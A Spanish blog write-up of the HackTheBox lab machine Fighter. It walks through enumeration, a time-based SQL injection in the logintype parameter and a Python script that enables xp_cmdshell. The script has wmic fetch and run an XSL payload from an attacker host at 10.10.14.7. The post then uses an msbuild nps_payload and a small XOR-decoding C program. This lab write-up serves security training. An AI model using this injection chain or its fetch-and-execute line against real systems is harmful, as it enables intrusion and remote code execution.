Saltar al contenido
Volver al Blog

writeups · 3 min de lectura

WriteUp - Fighter (HackTheBox)

Write-up de Fighter (HackTheBox): máquina Windows de nivel medio que explota SQLi time-based para extraer credenciales, obtiene RCE vía xp_cmdshell + msbuild NPS payload y escala a SYSTEM con Capcom.sys (CVE-2019-7253) + bypass de checks.

· Manuel López Pérez · writeups

Write-up de Fighter (HackTheBox): máquina Windows de nivel medio que explota SQLi time-based para extraer credenciales, obtiene RCE vía xp_cmdshell + msbuild NPS payload y escala a SYSTEM con Capcom.sys (CVE-2019-7253) + bypass de checks.

En este post haremos la máquina Fighter de HackTheBox. Es una maquina Windows bastante complicadilla pero muy intersante para aprender nuevas formas de sacar shell en windows. Esta es una máquina que hice con varios miembros de mi equipo de htb y sin ellos no habría sido posible este writeup Mi nick en HackTheBox es: manulqwerty Si tenéis alguna proposición o corrección no dudéis en dejar un comentario, así aprendemos todos.

Write-Up

Enumeración

Como siempre, lo primero sera un escaneo de todos los puertos con nmap:

nmap -sC -sV 10.10.10.72

Solo tenemos el puerto 80 asi que vamos a echarle un ojo a la web. Como leemos en el important announcement se esta desarrollando una web nueva, pero la antigua sigue funcionando, también tenemos el dominio streetfighterclub.htb vamos a buscar el antiguo portal. Tras varias pruebas encontramos el subdominio members.streetfighterclub.htb. Para que nos funcione debemos añadir al /etc/hosts:

10.10.10.72 members.streetfighterclub.htb

Fuzzeando encontramos: http://members.streetfighterclub.htb/old/login.asp

Tras hacer fallarnos las credenciales típicas vamos a ver si hay sqli. Capturamos la petición con BurpSuite y usamos el Active Scan: Tras el Active Scan detectamos una SQLi time-based en el parametro logintype. Al ser una time-based se tarda bastante en cada ejecución de sqlmap, os pongo por ejemplo cómo seria para obtener las bases de datos:

sqlmap -r request.txt --dbms=mssql --technique=B --level 5 --risk 3 -p logintype --dbs --threads=1 --time-sec=1 --batch --flush-session

Tras un buen rato sacando los datos de la base de datos, nos damos cuenta de que no hay nada que nos pueda servir para obtener RCE. Vamos a intentar sacar RCE a traves de la SQLi: https://www.tarlogic.com/blog/red-team-tales-0x01/

Explotacion

Después de horas intentando sacar rce por este método sin existo, dimos con la clave para bypassear el defender: starfighter_xsl del empire de Luis Vacas (que por cierto os recomiendo que lo useis, teneis modulos adicionales muy interesantes) Para esto vamos a hacernos un pequeño script de python que haga ejecute nuestro .xsl y obtener agente de empire:

from requests
import *
params = {"username":"admin","password":"admin","B1":"LogIn","logintype":"1;EXEC sp_configure 'show advanced options', 1;RECONFIGURE WITH OVERRIDE;EXEC sp_configure 'xP_cmDshEll', 1;RECONFIGURE WITH OVERRIDE;drop table mojones;create table mojones (out varchar(8000));;insert into mojones (out) execute xp_CmdSheLl 'start wmic process get brief /format:"http://10.10.14.7:443/wojo.xsl"';EXEC sp_configure 'xP_cMdShelL', 0;RECONFIGURE WITH OVERRIDE;"}
resp = post("http://members.streetfighterclub.htb/old/verify.asp",data=params,allow_redirects=False,cookies={"ASPSESSIONIDCQQARTCC":"OJGJBAHDGMPKEHOFHCKLKDIG"})

Vamos a migrar el empire a metasploit: https://github.com/trustedsec/nps_payload (ejemplo de uso)

 cd C:\\Users\\sqlserv upload /tmp/msbuild_nps.xml msbuild_nps.xml C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\msbuild.exe msbuild_nps.xml

edit reload

Ya somos System pero esto aun no ha acabado, nos queda un pequeño reto de ingeniera inversa: Vamos a abrir los ficheros con IDA PRO Vemos que si la funcion check() devuelve 1, nos dará el flag La funcion check() ejecutara XOR con 9 cada caracter de la variable aFmFeholH Para reversear esto me hice un pequeño programa en C, aun que lo mas sencillo seria hacer patching

 #include <stdio.h>

int main(int argc, char **argv) { char aFmFeholH[15] = "Fm`fEhOl}h"; int v1;

for (v1=0;v1<11;v1++) printf("%c",(*(int *) (aFmFeholH + v1) ^ 9)); puts(""); return 0; }

OdioLaFeta

Volver al Blog

Posts Relacionados

Ver Todos los Posts »
WriteUp - Celestial (HackTheBox)

writeups · 2 min

WriteUp - Celestial (HackTheBox)

Write-up de Celestial (HackTheBox). Máquina Linux de nivel bajo que explota una deserialización insegura de cookies en Node.js (CVE-2017-16137) para obtener RCE, luego escalada a root abusando de un cron job que ejecuta un script editable.

· Manuel López Pérez

WriteUp – Rabbit (HackTheBox)

writeups · 2 min

WriteUp – Rabbit (HackTheBox)

Write-up de Rabbit (HackTheBox): máquina Windows alta que explota SQLi time-based en Complain Management System para RCE vía xp_cmdshell + msbuild NPS payload, y escala a SYSTEM abusando de WAMP64 ejecutado como SYSTEM.

· Manuel López Pérez

WriteUp – Aragog (HackTheBox)

writeups · 3 min

WriteUp – Aragog (HackTheBox)

Write-up de Aragog (HackTheBox): escaneo inicial, explotación XXE para leer claves SSH, acceso como usuario, modificación de WordPress para robar credenciales de admin y escalada a root. Nivel intermedio con enfoque en XXE y post-explotación creativa.

· Pablo Plaza Martínez